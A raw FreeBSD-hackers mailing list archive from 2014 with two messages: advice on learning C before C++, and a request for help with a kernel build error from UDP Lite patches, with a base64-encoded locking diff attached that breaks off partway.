(UTC) Received: from alogt.com (alogt.com [69.36.191.58]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BDFCCB3 for ; Mon, 17 Mar 2014 02:38:45 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=alogt.com; s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Subject:Cc:To:From:Date; bh=0v06V4D4twrHn6IjgxpCLfgul9agxVWsoBi5mr922+0=; b=Tjy4Pcf3YzdkMtePl3P3vIrlfnE65VF4r4M9DJ1xdA0XfJpaUnxMHNKYyawBqNucM4xQXcuBJEFhfkkvaiqFgLPzYXJqnh97p9VzBxeJ8RymOxd1f5QaC3Q4vixImeVPbKvuMbOFG0UVt036h6OyYBb0TcoUInU2Lsj1Fs85ZSg=; Received: from [114.123.51.187] (port=62398 helo=X220.alogt.com) by sl-508-2.slc.westdc.net with esmtpsa (SSLv3:DHE-RSA-AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WPNRm-001v88-NA; Sun, 16 Mar 2014 20:38:39 -0600 Date: Mon, 17 Mar 2014 10:38:30 +0800 From: Erich Dollansky To: by Subject: Re: Something related to C and C++ Message-ID: <20140317103830.53c42ade@X220.alogt.com> In-Reply-To: References: Organization: ALO Green Technologies X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - sl-508-2.slc.westdc.net X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - alogt.com X-Get-Message-Sender-Via: sl-508-2.slc.westdc.net: authenticated_id: erich@alogt.com X-Source: X-Source-Args: X-Source-Dir: X-Mailman-Approved-At: Mon, 17 Mar 2014 03:34:26 +0000 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 02:38:46 -0000 Hi, On Mon, 17 Mar 2014 10:20:55 +0800 by wrote: as C++ is C plus 'some' extras, just start with C. When you know C - which you have to know anyway to write C++ programs - you can add C++ to your knowledge. Never forget that object orientated programming is much older than C++ and can be done in most languages. I did my first steps in object orientated programming in 8080 assembler without even knowing that what I did will be later be known as object orientated programming. The little programming I still do is all done in C but using some of the 'addons' of C++. So, all my sources are .cpp files. Erich > Hi, > At first, I would say, I do not want to lead to a holy war between > programming languages, and I am a newbie in this field, but I am > confused about this, so I want get some answers or discusses from > here to help me thinking about this. I found that in IT industry, C++ > has more and more users, I can understand why they do this, C++ can > make them build system more easy than C does. okay, I just know a > little about C++, but in my feeling, C++ can make you do things in a > higher place. Yes, C++ is great, but for me, it is too difficult, or > I would say, it is too complicated. I got two books in my hand, one > is <>, another is < Language>>. Just consider from the weight : ) You can find something. > Language>>In the past, GCC use C, but now it turn to C++, and LLVM is > Language>>written by C++. Yes I prefer C now, and you may say, you > Language>>have not use these two languages deeply, how could you > Language>>judge them? Yes, I know I should not judge them, but as a > Language>>newbie, this is my very feeling, just like a kid first > Language>>looking at this world! Simple, but confused. At last, I am > Language>>not lead to a holy war between programming languages, I > Language>>just confused and want some related answers. This is it. : ) > > - by > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 06:07:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BFC915E0; Mon, 17 Mar 2014 06:07:42 +0000 (UTC) Received: from mail-oa0-x229.google.com (mail-oa0-x229.google.com [IPv6:2607:f8b0:4003:c02::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 62D2F62C; Mon, 17 Mar 2014 06:07:42 +0000 (UTC) Received: by mail-oa0-f41.google.com with SMTP id j17so5220108oag.0 for ; Sun, 16 Mar 2014 23:07:41 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=9vXLPlGLYz5qq++9rZiNHvn6ISes/M7N1NfaPBjksnA=; b=gBI87TZewNfdRnPwyOQAhOql/BAw9jFlf6Ty0UiEwuwhpKIvLDfgHZPLfaj2nIJxB1 9EHbWe4IpLyvFNt5C+gzhC0+4bBpOl053Fsrsri57XGCj1b7vqBSPjLf+AJspv0lSI1h pYO02GVwa/54b9mzF1dtKRgFS3seUPQ/gclrR10FklR6ggEjlHZA5HwXQsIn4EoWsFo5 B0eMJnBdVMOxI/aHpB3L9YdDny2ChXW/rrpwfUbMK35aR4+b7E4w6zqK6PfTl/vhptIR dVXhOJsl4swkVRh4V79oZjam8DiHTYPdqfc+eCMQETt3P/E5OC1lEEtN63DBeYpvcKG4 oINg== MIME-Version: 1.0 X-Received: by 10.182.33.73 with SMTP id p9mr18791144obi.37.1395036461711; Sun, 16 Mar 2014 23:07:41 -0700 (PDT) Received: by 10.182.130.71 with HTTP; Sun, 16 Mar 2014 23:07:41 -0700 (PDT) In-Reply-To: References: Date: Mon, 17 Mar 2014 02:07:41 -0400 Message-ID: Subject: Re: Definition struct and int From: Joe Nosay To: Adrian Chadd , FreeBSD Hackers Content-Type: multipart/mixed; boundary=047d7b5d58b4c09aa004f4c73c6e X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 06:07:42 -0000 --047d7b5d58b4c09aa004f4c73c6e Content-Type: text/plain; charset=ISO-8859-1 On Sun, Mar 16, 2014 at 1:07 AM, Joe Nosay wrote: > > > > On Fri, Mar 14, 2014 at 5:43 PM, Joe Nosay wrote: > >> >> >> >> On Thu, Mar 13, 2014 at 9:26 PM, Adrian Chadd wrote: >> >>> Is this -HEAD, or? >>> >>> >>> -a >>> >>> >>> On 13 March 2014 18:13, Joe Nosay wrote: >>> > Testing of a patch for using UDP Lite on FreeBSD caused no compilation >>> > errors; however, after adding the options of "VIMAGE" and "MROUTING" to >>> > conf/kern?GENERIC, make buildkernel stops with: >>> > /usr/src/sys/netinet/udp_usrreq.c:1701:18: error: too few arguments to >>> > function >>> > call, expected 2, have 1 >>> > udp_discardcb(up); >>> > ~~~~~~~~~~~~~ ^ >>> > /usr/src/sys/netinet/udp_usrreq.c:274:1: note: 'udp_discardcb' >>> declared here >>> > void >>> > ^ >>> > 1 error generated. >>> > *** Error code 1 >>> > >>> > The file in question of >>> > /usr/src/sys/netinet/udp_usrreq.c >>> > >>> > has the value of >>> > udp_discardcb(struct udpcb *up, int isudp) >>> > >>> > that is causing the problem. >>> > >>> > >>> > >>> > I believe that the compiler is looking for a value to int isudp but >>> that >>> > value does not exist. >>> > _______________________________________________ >>> > freebsd-hackers@freebsd.org mailing list >>> > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> > To unsubscribe, send any mail to " >>> freebsd-hackers-unsubscribe@freebsd.org" >>> >> >> >> No, it is 10.0 RELEASE #0 r262601 >> >> Last time, I had entered too many files. Here are the relative files. >> >> >> There was no problem in compiling as listed earlier. I have not studied >> C enough to solve this problem; however, I can see that int isudp happens >> once while the next closest account is int isudplite. >> >> > > I've just upgraded source to head. I have three patches for UDP Lite. The > question is which one(s) should I use. > > The udp-v.diff only has a reference to udp_discardcb up, while patch > udplite and udplite.diff have the struct and int references. > > Could someone possibly point me towards some online documentation that would allow me to learn of a solution to this problem? This would be much better because I would be solving and learning. Included are the three patches mentioned earlier. Yes, I will be looking at them again. Apologies for any noise and if I am coming off the wrong way. --047d7b5d58b4c09aa004f4c73c6e Content-Type: text/plain; charset=US-ASCII; name="udp-v.diff" Content-Disposition: attachment; filename="udp-v.diff" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hsvl791s1 SW5kZXg6IHN5cy9uZXRpbmV0L3VkcF91c3JyZXEuYwo9PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBzeXMvbmV0aW5l dC91ZHBfdXNycmVxLmMJKHJldmlzaW9uIDI0OTc4NSkKKysrIHN5cy9uZXRpbmV0L3VkcF91c3Jy ZXEuYwkod29ya2luZyBjb3B5KQpAQCAtOTQ5LDYgKzk0OSw3IEBAIHVkcF9vdXRwdXQoc3RydWN0 IGlucGNiICppbnAsIHN0cnVjdCBtYnVmICptLCBzdHJ1CiAJaW50IGxlbiA9IG0tPm1fcGt0aGRy LmxlbjsKIAlzdHJ1Y3QgaW5fYWRkciBmYWRkciwgbGFkZHI7CiAJc3RydWN0IGNtc2doZHIgKmNt OworCXN0cnVjdCBpbnBjYmluZm8gKnBjYmluZm87CiAJc3RydWN0IHNvY2thZGRyX2luICpzaW4s IHNyYzsKIAlpbnQgZXJyb3IgPSAwOwogCWludCBpcGZsYWdzOwpAQCAtMTA0OSwxMiArMTA1MCwx MyBAQCB1ZHBfb3V0cHV0KHN0cnVjdCBpbnBjYiAqaW5wLCBzdHJ1Y3QgbWJ1ZiAqbSwgc3RydQog CSAqCiAJICogWFhYUlc6IENoZWNrIHRoYXQgaGFzaCBsb2NraW5nIHVwZGF0ZSBoZXJlIGlzIGNv cnJlY3QuCiAJICovCisJcGNiaW5mbyA9IGlucC0+aW5wX3BjYmluZm87CiAJc2luID0gKHN0cnVj dCBzb2NrYWRkcl9pbiAqKWFkZHI7CiAJaWYgKHNpbiAhPSBOVUxMICYmCiAJICAgIChpbnAtPmlu cF9sYWRkci5zX2FkZHIgPT0gSU5BRERSX0FOWSAmJiBpbnAtPmlucF9scG9ydCA9PSAwKSkgewog CQlJTlBfUlVOTE9DSyhpbnApOwogCQlJTlBfV0xPQ0soaW5wKTsKLQkJSU5QX0hBU0hfV0xPQ0so JlZfdWRiaW5mbyk7CisJCUlOUF9IQVNIX1dMT0NLKHBjYmluZm8pOwogCQl1bmxvY2tfdWRiaW5m byA9IFVIX1dMT0NLRUQ7CiAJfSBlbHNlIGlmICgoc2luICE9IE5VTEwgJiYgKAogCSAgICAoc2lu LT5zaW5fYWRkci5zX2FkZHIgPT0gSU5BRERSX0FOWSkgfHwKQEAgLTEwNjIsNyArMTA2NCw3IEBA IHVkcF9vdXRwdXQoc3RydWN0IGlucGNiICppbnAsIHN0cnVjdCBtYnVmICptLCBzdHJ1CiAJICAg IChpbnAtPmlucF9sYWRkci5zX2FkZHIgPT0gSU5BRERSX0FOWSkgfHwKIAkgICAgKGlucC0+aW5w X2xwb3J0ID09IDApKSkgfHwKIAkgICAgKHNyYy5zaW5fZmFtaWx5ID09IEFGX0lORVQpKSB7Ci0J CUlOUF9IQVNIX1JMT0NLKCZWX3VkYmluZm8pOworCQlJTlBfSEFTSF9STE9DSyhwY2JpbmZvKTsK IAkJdW5sb2NrX3VkYmluZm8gPSBVSF9STE9DS0VEOwogCX0gZWxzZQogCQl1bmxvY2tfdWRiaW5m byA9IFVIX1VOTE9DS0VEOwpAQCAtMTA3NSw3ICsxMDc3LDcgQEAgdWRwX291dHB1dChzdHJ1Y3Qg aW5wY2IgKmlucCwgc3RydWN0IG1idWYgKm0sIHN0cnUKIAlsYWRkciA9IGlucC0+aW5wX2xhZGRy OwogCWxwb3J0ID0gaW5wLT5pbnBfbHBvcnQ7CiAJaWYgKHNyYy5zaW5fZmFtaWx5ID09IEFGX0lO RVQpIHsKLQkJSU5QX0hBU0hfTE9DS19BU1NFUlQoJlZfdWRiaW5mbyk7CisJCUlOUF9IQVNIX0xP Q0tfQVNTRVJUKHBjYmluZm8pOwogCQlpZiAoKGxwb3J0ID09IDApIHx8CiAJCSAgICAobGFkZHIu c19hZGRyID09IElOQUREUl9BTlkgJiYKIAkJICAgICBzcmMuc2luX2FkZHIuc19hZGRyID09IElO QUREUl9BTlkpKSB7CkBAIC0xMTI2LDcgKzExMjgsNyBAQCB1ZHBfb3V0cHV0KHN0cnVjdCBpbnBj YiAqaW5wLCBzdHJ1Y3QgbWJ1ZiAqbSwgc3RydQogCQkgICAgaW5wLT5pbnBfbHBvcnQgPT0gMCB8 fAogCQkgICAgc2luLT5zaW5fYWRkci5zX2FkZHIgPT0gSU5BRERSX0FOWSB8fAogCQkgICAgc2lu LT5zaW5fYWRkci5zX2FkZHIgPT0gSU5BRERSX0JST0FEQ0FTVCkgewotCQkJSU5QX0hBU0hfTE9D S19BU1NFUlQoJlZfdWRiaW5mbyk7CisJCQlJTlBfSEFTSF9MT0NLX0FTU0VSVChwY2JpbmZvKTsK IAkJCWVycm9yID0gaW5fcGNiY29ubmVjdF9zZXR1cChpbnAsIGFkZHIsICZsYWRkci5zX2FkZHIs CiAJCQkgICAgJmxwb3J0LCAmZmFkZHIuc19hZGRyLCAmZnBvcnQsIE5VTEwsCiAJCQkgICAgdGQt PnRkX3VjcmVkKTsKQEAgLTExNDEsNyArMTE0Myw3IEBAIHVkcF9vdXRwdXQoc3RydWN0IGlucGNi ICppbnAsIHN0cnVjdCBtYnVmICptLCBzdHJ1CiAJCQlpZiAoaW5wLT5pbnBfbGFkZHIuc19hZGRy ID09IElOQUREUl9BTlkgJiYKIAkJCSAgICBpbnAtPmlucF9scG9ydCA9PSAwKSB7CiAJCQkJSU5Q X1dMT0NLX0FTU0VSVChpbnApOwotCQkJCUlOUF9IQVNIX1dMT0NLX0FTU0VSVCgmVl91ZGJpbmZv KTsKKwkJCQlJTlBfSEFTSF9XTE9DS19BU1NFUlQocGNiaW5mbyk7CiAJCQkJLyoKIAkJCQkgKiBS ZW1lbWJlciBhZGRyIGlmIGphaWxlZCwgdG8gcHJldmVudAogCQkJCSAqIHJlYmluZGluZy4KQEAg LTEyMzcsOSArMTIzOSw5IEBAIHVkcF9vdXRwdXQoc3RydWN0IGlucGNiICppbnAsIHN0cnVjdCBt YnVmICptLCBzdHJ1CiAJVURQU1RBVF9JTkModWRwc19vcGFja2V0cyk7CiAKIAlpZiAodW5sb2Nr X3VkYmluZm8gPT0gVUhfV0xPQ0tFRCkKLQkJSU5QX0hBU0hfV1VOTE9DSygmVl91ZGJpbmZvKTsK KwkJSU5QX0hBU0hfV1VOTE9DSyhwY2JpbmZvKTsKIAllbHNlIGlmICh1bmxvY2tfdWRiaW5mbyA9 PSBVSF9STE9DS0VEKQotCQlJTlBfSEFTSF9SVU5MT0NLKCZWX3VkYmluZm8pOworCQlJTlBfSEFT SF9SVU5MT0NLKHBjYmluZm8pOwogCWVycm9yID0gaXBfb3V0cHV0KG0sIGlucC0+aW5wX29wdGlv bnMsIE5VTEwsIGlwZmxhZ3MsCiAJICAgIGlucC0+aW5wX21vcHRpb25zLCBpbnApOwogCWlmICh1 bmxvY2tfdWRiaW5mbyA9PSBVSF9XTE9DS0VEKQpAQCAtMTI1MCwxMCArMTI1MiwxMCBAQCB1ZHBf b3V0cHV0KHN0cnVjdCBpbnBjYiAqaW5wLCBzdHJ1Y3QgbWJ1ZiAqbSwgc3RydQogCiByZWxlYXNl OgogCWlmICh1bmxvY2tfdWRiaW5mbyA9PSBVSF9XTE9DS0VEKSB7Ci0JCUlOUF9IQVNIX1dVTkxP Q0soJlZfdWRiaW5mbyk7CisJCUlOUF9IQVNIX1dVTkxPQ0socGNiaW5mbyk7CiAJCUlOUF9XVU5M T0NLKGlucCk7CiAJfSBlbHNlIGlmICh1bmxvY2tfdWRiaW5mbyA9PSBVSF9STE9DS0VEKSB7Ci0J CUlOUF9IQVNIX1JVTkxPQ0soJlZfdWRiaW5mbyk7CisJCUlOUF9IQVNIX1JVTkxPQ0socGNiaW5m byk7CiAJCUlOUF9SVU5MT0NLKGlucCk7CiAJfSBlbHNlCiAJCUlOUF9SVU5MT0NLKGlucCk7CkBA IC0xNDA1LDEwICsxNDA3LDEwIEBAIHVkcF9hYm9ydChzdHJ1Y3Qgc29ja2V0ICpzbykKIAlLQVNT RVJUKGlucCAhPSBOVUxMLCAoInVkcF9hYm9ydDogaW5wID09IE5VTEwiKSk7CiAJSU5QX1dMT0NL KGlucCk7CiAJaWYgKGlucC0+aW5wX2ZhZGRyLnNfYWRkciAhPSBJTkFERFJfQU5ZKSB7Ci0JCUlO UF9IQVNIX1dMT0NLKCZWX3VkYmluZm8pOworCQlJTlBfSEFTSF9XTE9DSyhpbnAtPmlucF9wY2Jp bmZvKTsKIAkJaW5fcGNiZGlzY29ubmVjdChpbnApOwogCQlpbnAtPmlucF9sYWRkci5zX2FkZHIg PSBJTkFERFJfQU5ZOwotCQlJTlBfSEFTSF9XVU5MT0NLKCZWX3VkYmluZm8pOworCQlJTlBfSEFT SF9XVU5MT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCQlzb2lzZGlzY29ubmVjdGVkKHNvKTsKIAl9 CiAJSU5QX1dVTkxPQ0soaW5wKTsKQEAgLTE0ODEsOSArMTQ4Myw5IEBAIHVkcF9iaW5kKHN0cnVj dCBzb2NrZXQgKnNvLCBzdHJ1Y3Qgc29ja2FkZHIgKm5hbSwKIAlpbnAgPSBzb3RvaW5wY2Ioc28p OwogCUtBU1NFUlQoaW5wICE9IE5VTEwsICgidWRwX2JpbmQ6IGlucCA9PSBOVUxMIikpOwogCUlO UF9XTE9DSyhpbnApOwotCUlOUF9IQVNIX1dMT0NLKCZWX3VkYmluZm8pOworCUlOUF9IQVNIX1dM T0NLKGlucC0+aW5wX3BjYmluZm8pOwogCWVycm9yID0gaW5fcGNiYmluZChpbnAsIG5hbSwgdGQt PnRkX3VjcmVkKTsKLQlJTlBfSEFTSF9XVU5MT0NLKCZWX3VkYmluZm8pOworCUlOUF9IQVNIX1dV TkxPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJSU5QX1dVTkxPQ0soaW5wKTsKIAlyZXR1cm4gKGVy cm9yKTsKIH0KQEAgLTE0OTcsMTAgKzE0OTksMTAgQEAgdWRwX2Nsb3NlKHN0cnVjdCBzb2NrZXQg KnNvKQogCUtBU1NFUlQoaW5wICE9IE5VTEwsICgidWRwX2Nsb3NlOiBpbnAgPT0gTlVMTCIpKTsK IAlJTlBfV0xPQ0soaW5wKTsKIAlpZiAoaW5wLT5pbnBfZmFkZHIuc19hZGRyICE9IElOQUREUl9B TlkpIHsKLQkJSU5QX0hBU0hfV0xPQ0soJlZfdWRiaW5mbyk7CisJCUlOUF9IQVNIX1dMT0NLKGlu cC0+aW5wX3BjYmluZm8pOwogCQlpbl9wY2JkaXNjb25uZWN0KGlucCk7CiAJCWlucC0+aW5wX2xh ZGRyLnNfYWRkciA9IElOQUREUl9BTlk7Ci0JCUlOUF9IQVNIX1dVTkxPQ0soJlZfdWRiaW5mbyk7 CisJCUlOUF9IQVNIX1dVTkxPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJCXNvaXNkaXNjb25uZWN0 ZWQoc28pOwogCX0KIAlJTlBfV1VOTE9DSyhpbnApOwpAQCAtMTUyNiw5ICsxNTI4LDkgQEAgdWRw X2Nvbm5lY3Qoc3RydWN0IHNvY2tldCAqc28sIHN0cnVjdCBzb2NrYWRkciAqbmEKIAkJSU5QX1dV TkxPQ0soaW5wKTsKIAkJcmV0dXJuIChlcnJvcik7CiAJfQotCUlOUF9IQVNIX1dMT0NLKCZWX3Vk YmluZm8pOworCUlOUF9IQVNIX1dMT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCWVycm9yID0gaW5f cGNiY29ubmVjdChpbnAsIG5hbSwgdGQtPnRkX3VjcmVkKTsKLQlJTlBfSEFTSF9XVU5MT0NLKCZW X3VkYmluZm8pOworCUlOUF9IQVNIX1dVTkxPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJaWYgKGVy cm9yID09IDApCiAJCXNvaXNjb25uZWN0ZWQoc28pOwogCUlOUF9XVU5MT0NLKGlucCk7CkBAIC0x NTQ1LDE0ICsxNTQ3LDE0IEBAIHVkcF9kZXRhY2goc3RydWN0IHNvY2tldCAqc28pCiAJS0FTU0VS VChpbnAgIT0gTlVMTCwgKCJ1ZHBfZGV0YWNoOiBpbnAgPT0gTlVMTCIpKTsKIAlLQVNTRVJUKGlu cC0+aW5wX2ZhZGRyLnNfYWRkciA9PSBJTkFERFJfQU5ZLAogCSAgICAoInVkcF9kZXRhY2g6IG5v dCBkaXNjb25uZWN0ZWQiKSk7Ci0JSU5QX0lORk9fV0xPQ0soJlZfdWRiaW5mbyk7CisJSU5QX0lO Rk9fV0xPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJSU5QX1dMT0NLKGlucCk7CiAJdXAgPSBpbnRv dWRwY2IoaW5wKTsKIAlLQVNTRVJUKHVwICE9IE5VTEwsICgiJXM6IHVwID09IE5VTEwiLCBfX2Z1 bmNfXykpOwogCWlucC0+aW5wX3BwY2IgPSBOVUxMOwogCWluX3BjYmRldGFjaChpbnApOwogCWlu X3BjYmZyZWUoaW5wKTsKLQlJTlBfSU5GT19XVU5MT0NLKCZWX3VkYmluZm8pOworCUlOUF9JTkZP X1dVTkxPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJdWRwX2Rpc2NhcmRjYih1cCk7CiB9CiAKQEAg LTE1NjgsMTAgKzE1NzAsMTAgQEAgdWRwX2Rpc2Nvbm5lY3Qoc3RydWN0IHNvY2tldCAqc28pCiAJ CUlOUF9XVU5MT0NLKGlucCk7CiAJCXJldHVybiAoRU5PVENPTk4pOwogCX0KLQlJTlBfSEFTSF9X TE9DSygmVl91ZGJpbmZvKTsKKwlJTlBfSEFTSF9XTE9DSyhpbnAtPmlucF9wY2JpbmZvKTsKIAlp bl9wY2JkaXNjb25uZWN0KGlucCk7CiAJaW5wLT5pbnBfbGFkZHIuc19hZGRyID0gSU5BRERSX0FO WTsKLQlJTlBfSEFTSF9XVU5MT0NLKCZWX3VkYmluZm8pOworCUlOUF9IQVNIX1dVTkxPQ0soaW5w LT5pbnBfcGNiaW5mbyk7CiAJU09DS19MT0NLKHNvKTsKIAlzby0+c29fc3RhdGUgJj0gflNTX0lT Q09OTkVDVEVEOwkJLyogWFhYICovCiAJU09DS19VTkxPQ0soc28pOwpJbmRleDogc3lzL25ldGlu ZXQ2L3VkcDZfdXNycmVxLmMKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gc3lzL25ldGluZXQ2L3VkcDZfdXNycmVx LmMJKHJldmlzaW9uIDI0OTc4NSkKKysrIHN5cy9uZXRpbmV0Ni91ZHA2X3VzcnJlcS5jCSh3b3Jr aW5nIGNvcHkpCkBAIC04MjYsMTAgKzgyNiwxMCBAQCB1ZHA2X2Fib3J0KHN0cnVjdCBzb2NrZXQg KnNvKQogCiAJSU5QX1dMT0NLKGlucCk7CiAJaWYgKCFJTjZfSVNfQUREUl9VTlNQRUNJRklFRCgm aW5wLT5pbjZwX2ZhZGRyKSkgewotCQlJTlBfSEFTSF9XTE9DSygmVl91ZGJpbmZvKTsKKwkJSU5Q X0hBU0hfV0xPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJCWluNl9wY2JkaXNjb25uZWN0KGlucCk7 CiAJCWlucC0+aW42cF9sYWRkciA9IGluNmFkZHJfYW55OwotCQlJTlBfSEFTSF9XVU5MT0NLKCZW X3VkYmluZm8pOworCQlJTlBfSEFTSF9XVU5MT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCQlzb2lz ZGlzY29ubmVjdGVkKHNvKTsKIAl9CiAJSU5QX1dVTkxPQ0soaW5wKTsKQEAgLTg5MSw3ICs4OTEs NyBAQCB1ZHA2X2JpbmQoc3RydWN0IHNvY2tldCAqc28sIHN0cnVjdCBzb2NrYWRkciAqbmFtLAog CUtBU1NFUlQoaW5wICE9IE5VTEwsICgidWRwNl9iaW5kOiBpbnAgPT0gTlVMTCIpKTsKIAogCUlO UF9XTE9DSyhpbnApOwotCUlOUF9IQVNIX1dMT0NLKCZWX3VkYmluZm8pOworCUlOUF9IQVNIX1dM T0NLKGlucC0+aW5wX3BjYmluZm8pOwogCWlucC0+aW5wX3ZmbGFnICY9IH5JTlBfSVBWNDsKIAlp bnAtPmlucF92ZmxhZyB8PSBJTlBfSVBWNjsKIAlpZiAoKGlucC0+aW5wX2ZsYWdzICYgSU42UF9J UFY2X1Y2T05MWSkgPT0gMCkgewpAQCAtOTE5LDcgKzkxOSw3IEBAIHVkcDZfYmluZChzdHJ1Y3Qg c29ja2V0ICpzbywgc3RydWN0IHNvY2thZGRyICpuYW0sCiAjaWZkZWYgSU5FVAogb3V0OgogI2Vu ZGlmCi0JSU5QX0hBU0hfV1VOTE9DSygmVl91ZGJpbmZvKTsKKwlJTlBfSEFTSF9XVU5MT0NLKGlu cC0+aW5wX3BjYmluZm8pOwogCUlOUF9XVU5MT0NLKGlucCk7CiAJcmV0dXJuIChlcnJvcik7CiB9 CkBAIC05NDMsMTAgKzk0MywxMCBAQCB1ZHA2X2Nsb3NlKHN0cnVjdCBzb2NrZXQgKnNvKQogI2Vu ZGlmCiAJSU5QX1dMT0NLKGlucCk7CiAJaWYgKCFJTjZfSVNfQUREUl9VTlNQRUNJRklFRCgmaW5w LT5pbjZwX2ZhZGRyKSkgewotCQlJTlBfSEFTSF9XTE9DSygmVl91ZGJpbmZvKTsKKwkJSU5QX0hB U0hfV0xPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJCWluNl9wY2JkaXNjb25uZWN0KGlucCk7CiAJ CWlucC0+aW42cF9sYWRkciA9IGluNmFkZHJfYW55OwotCQlJTlBfSEFTSF9XVU5MT0NLKCZWX3Vk YmluZm8pOworCQlJTlBfSEFTSF9XVU5MT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCQlzb2lzZGlz Y29ubmVjdGVkKHNvKTsKIAl9CiAJSU5QX1dVTkxPQ0soaW5wKTsKQEAgLTk4NSwxMCArOTg1LDEw IEBAIHVkcDZfY29ubmVjdChzdHJ1Y3Qgc29ja2V0ICpzbywgc3RydWN0IHNvY2thZGRyICpuCiAJ CWVycm9yID0gcHJpc29uX3JlbW90ZV9pcDQodGQtPnRkX3VjcmVkLCAmc2luLnNpbl9hZGRyKTsK IAkJaWYgKGVycm9yICE9IDApCiAJCQlnb3RvIG91dDsKLQkJSU5QX0hBU0hfV0xPQ0soJlZfdWRi aW5mbyk7CisJCUlOUF9IQVNIX1dMT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCQllcnJvciA9IGlu X3BjYmNvbm5lY3QoaW5wLCAoc3RydWN0IHNvY2thZGRyICopJnNpbiwKIAkJICAgIHRkLT50ZF91 Y3JlZCk7Ci0JCUlOUF9IQVNIX1dVTkxPQ0soJlZfdWRiaW5mbyk7CisJCUlOUF9IQVNIX1dVTkxP Q0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJCWlmIChlcnJvciA9PSAwKQogCQkJc29pc2Nvbm5lY3Rl ZChzbyk7CiAJCWdvdG8gb3V0OwpAQCAtMTAwMyw5ICsxMDAzLDkgQEAgdWRwNl9jb25uZWN0KHN0 cnVjdCBzb2NrZXQgKnNvLCBzdHJ1Y3Qgc29ja2FkZHIgKm4KIAllcnJvciA9IHByaXNvbl9yZW1v dGVfaXA2KHRkLT50ZF91Y3JlZCwgJnNpbjYtPnNpbjZfYWRkcik7CiAJaWYgKGVycm9yICE9IDAp CiAJCWdvdG8gb3V0OwotCUlOUF9IQVNIX1dMT0NLKCZWX3VkYmluZm8pOworCUlOUF9IQVNIX1dM T0NLKGlucC0+aW5wX3BjYmluZm8pOwogCWVycm9yID0gaW42X3BjYmNvbm5lY3QoaW5wLCBuYW0s IHRkLT50ZF91Y3JlZCk7Ci0JSU5QX0hBU0hfV1VOTE9DSygmVl91ZGJpbmZvKTsKKwlJTlBfSEFT SF9XVU5MT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCWlmIChlcnJvciA9PSAwKQogCQlzb2lzY29u bmVjdGVkKHNvKTsKIG91dDoKQEAgLTEwMjIsMTMgKzEwMjIsMTMgQEAgdWRwNl9kZXRhY2goc3Ry dWN0IHNvY2tldCAqc28pCiAJaW5wID0gc290b2lucGNiKHNvKTsKIAlLQVNTRVJUKGlucCAhPSBO VUxMLCAoInVkcDZfZGV0YWNoOiBpbnAgPT0gTlVMTCIpKTsKIAotCUlOUF9JTkZPX1dMT0NLKCZW X3VkYmluZm8pOworCUlOUF9JTkZPX1dMT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCUlOUF9XTE9D SyhpbnApOwogCXVwID0gaW50b3VkcGNiKGlucCk7CiAJS0FTU0VSVCh1cCAhPSBOVUxMLCAoIiVz OiB1cCA9PSBOVUxMIiwgX19mdW5jX18pKTsKIAlpbl9wY2JkZXRhY2goaW5wKTsKIAlpbl9wY2Jm 